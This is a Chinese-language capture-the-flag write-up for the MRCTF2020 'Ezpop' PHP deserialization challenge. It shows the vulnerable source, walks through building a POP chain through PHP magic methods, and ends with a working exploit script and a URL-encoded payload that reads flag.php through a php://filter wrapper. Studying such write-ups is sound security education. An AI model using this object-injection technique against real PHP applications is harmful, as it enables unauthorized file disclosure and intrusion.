[MRCTF2020]Ezpop

Oyst3r 于 2023-11-12 发布

(emmmm 题目就很明显了,就是一个 pop 链的构造,不懂的可以先去看一下这篇文章–正 XOR 反序列化)

1.直接来看一下源码

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

看一眼,源码是有三个类,做这种 pop 链的题,我感觉吧,一定要记住以下几件事(引用一下这篇文章–正 XOR 反序列化里的东西),不要一看见这题就害怕

1.构造pop链就像是python或者c++里面类的继承一样,说白了就是让一个a实例化的类(对象)里面的属性等于另一个b实例化的类(对象),这样就可以成功的让a调用b里面的方法和属性
2.在进行序列化的时候,实际上也是只能去序列化属性,方法是不能被序列化的,然后当反序列化的时候属性和魔术方法一结合,就能实现pop链条,这个当然在构造pop链的时候就可以加一些调试的语句去看这个pop链最终能不能去执行危险函数
3.当构造pop链的时候,有人说能不能直接不写这些魔术方法(当然魔术方法要是只是写一些输出的话肯定不用写,但是涉及到一些对象与对象的关系肯定要写出来),就像刚刚我说的那样(在进行序列化的时候,实际上也是只能去序列化属性,方法是不能被序列化的,然后当反序列化的时候属性和魔术方法一结合),但是如果在构造的时候都不去写这些魔术方法,那么这些对象与对象之间都串不起来,即都生成不了序列化之后的字符串,如果你不嫌麻烦,当然也可以自己去手工的去写一些将两个对象联系起来的语句,但这很多情况下会出问题,因为最终生成序列化后的字符串,还是要经过题目或者是代码里面的一些魔术方法去串起来的,那为什么不一开始在生成pop链的时候就去用题目或者是代码里面给出的现成的把对象串起来的方法呢?
4.一般都是序列化一个对象,然后要从这个对象与其他对象连接起来,所以选择一个合适的序列化对象也是很关键的一步
5.一般分析的时候是先找危险函数,然后一步一步倒着推出要先序列化哪个类,然后真正反序列化的时候又是正着走的

这个题就是三个类

Modifier
Show
Test

2.咱们一个一个看,首先看 Modifier 这个类

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

这个首先定义了一个 append 方法,毫无疑问这个就是危险函数,是个文件包含,首先想到伪协议,然后还有个__invoke 魔术方法(这个方法就是把对象当成一个函数的时候就会被调用),这个方法会去调用 append 方法,所以接下来就看谁能够触发这个魔术方法,继续往下看,看这个 Show 类

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

这个有个__wakeup 魔术方法还有__toString()这个魔术方法,而且这个__wakeup 魔术方法里面有这个正则匹配,这些特征就是这种 pop 题的老熟人,看多了自然理解我在说什么,或者不懂的先去康康我的那篇文章–正 XOR 反序列化,里面会讲,总而言之就是 wakeup 有正则,给正则传个对象触发 toString,然后再看一下这个 Test 类

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

这里有个__get()方法,我们知道(当访问类中的私有属性或者是不存在的属性,触发 get 魔术方法),而哪里调用了不存在的属性呢,很明显是中间 Show 这个类,想办法让它调用不存在的 source 属性

3.okok 那这一下子就连起来了,大致的一个利用流程是从 Show 入手再到 Test,最后抵达 Modifier

反序列化->调用Show类中魔术方法__wakeup->preg_match()函数对Show类的属性source处理->调用Show类中魔术方法__toString->返回Show类的属性str中的属性source(此时这里属性source并不存在)->调用Test类中魔术方法__get->返回Test类的属性p的函数调用结果->调用Modifier类中魔术方法__invoke->include()函数包含目标文件(flag.php)

然后就想办法把各个对象联系起来就好了,下面给出我的 payload

<?php
class Modifier {
    protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show
{
    public $source;
    public $str;

    public function __construct($file = "index.php")
    {
        $this->source = $file;
        echo 'Welcome to ' . $this->source . "<br>";
    }

    public function __toString()
    {

        return $this->str->source;
    }

    public function __wakeup()
    {
        if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }

}
$a = new Modifier();
$b = new Show();
$c = new Test();
$b->source = $b;
$b->source->str = $c;
$c->p = $a;
echo urlencode(serialize($b));

比如上面这个代码里面的

$b->source = $b;
$b->source->str = $c;
$c->p = $a;

这个就是用来想办法去把各个对象给联系起来,不联系的话可能就是只有 Test 这个类里面的方法和属性,就像我上面说的那几点一样

这里还有个细节就是,如果不加 urlencode()这个函数,序列化会有不可见字符,因为 Modifier 类中的属性 var 为 protected,如果在序列化后的字符串里直接改肯定会出错,所以先编码一下可以避免这个问题

最终的 payload 如下

?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D

4.然后得到 base64 编码的文件源码解密即可

欧克那这道题就到这里

Finish!!!